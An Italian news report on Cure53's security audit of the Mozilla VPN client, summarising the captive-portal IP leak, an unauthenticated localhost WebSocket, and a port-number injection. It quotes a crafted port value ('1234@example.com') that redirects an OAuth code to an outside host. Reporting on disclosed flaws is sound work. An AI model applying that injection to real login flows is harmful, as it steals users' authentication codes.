Mozilla ha annunciato il completamento di un audit indipendente del software client per la connessione al servizio Mozilla VPN. Durante l'audit, è stata eseguita un'analisi dell'applicazione client isolata, sviluppata utilizzando la libreria Qt e fornita per Linux, macOS, Windows, Android e iOS. Mozilla VPN è supportato da oltre 400 server del fornitore svedese di VPN Mullvad, situati in oltre 30 paesi. La connessione al VPN-servizio avviene tramite il protocollo WireGuard.
L'audit è stato effettuato dalla Cure53, che in passato ha condotto audit su progetti come NTPsec, SecureDrop, Cryptocat, F-Droid e Dovecot. L'audit ha incluso il controllo dei codici sorgente e ha comportato l'esecuzione di test per identificare potenziali vulnerabilità (le questioni relative alla crittografia non sono state trattate). Durante il controllo sono stati trovati 16 problemi di sicurezza, 8 dei quali hanno ricevuto raccomandazioni, 5 sono stati classificati come a basso rischio, 2 come medio e 1 come alto.
Tuttavia, solo un problema con un livello di rischio medio è stato classificato come vulnerabilità, poiché solo esso era sfruttabile. Questo problema portava a una perdita di informazioni sull'uso del VPN nel codice per l'identificazione del captive portal, a causa dell'invio di richieste dirette non crittografate via HTTP, trasmesse al di fuori del tunnel VPN e rivelando l'indirizzo IP principale dell'utente nel caso in cui un attaccante possa controllare il traffico di transito. Il problema si risolve disattivando la modalità di rilevamento del captive portal nelle impostazioni.
Il secondo problema di livello di pericolo medio è legato all'assenza di una corretta pulizia dei valori non numerici nel numero di porta, il che consente di organizzare una fuga dei parametri di autenticazione OAuth tramite la sostituzione del numero di porta con una stringa del tipo «1234@example.com», che porterà all'installazione di un tag <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, che si riferisce a example.com anziché a 127.0.0.1.
Il terzo problema, contrassegnato come pericoloso, consente a qualsiasi applicazione locale di accedere al client VPN tramite WebSocket legato a localhost, senza autenticazione. Come esempio, è mostrato come, con il client VPN attivo, qualsiasi sito potesse organizzare la creazione e l'invio di uno screenshot attraverso la generazione dell'evento screen_capture. Questo problema non è stato classificato come vulnerabilità, poiché il WebSocket era utilizzato solo nelle build di test interne e l'uso di questo canale di comunicazione era previsto per un futuro coinvolgimento con un'estensione del browser.
Fonte: opennet.ru
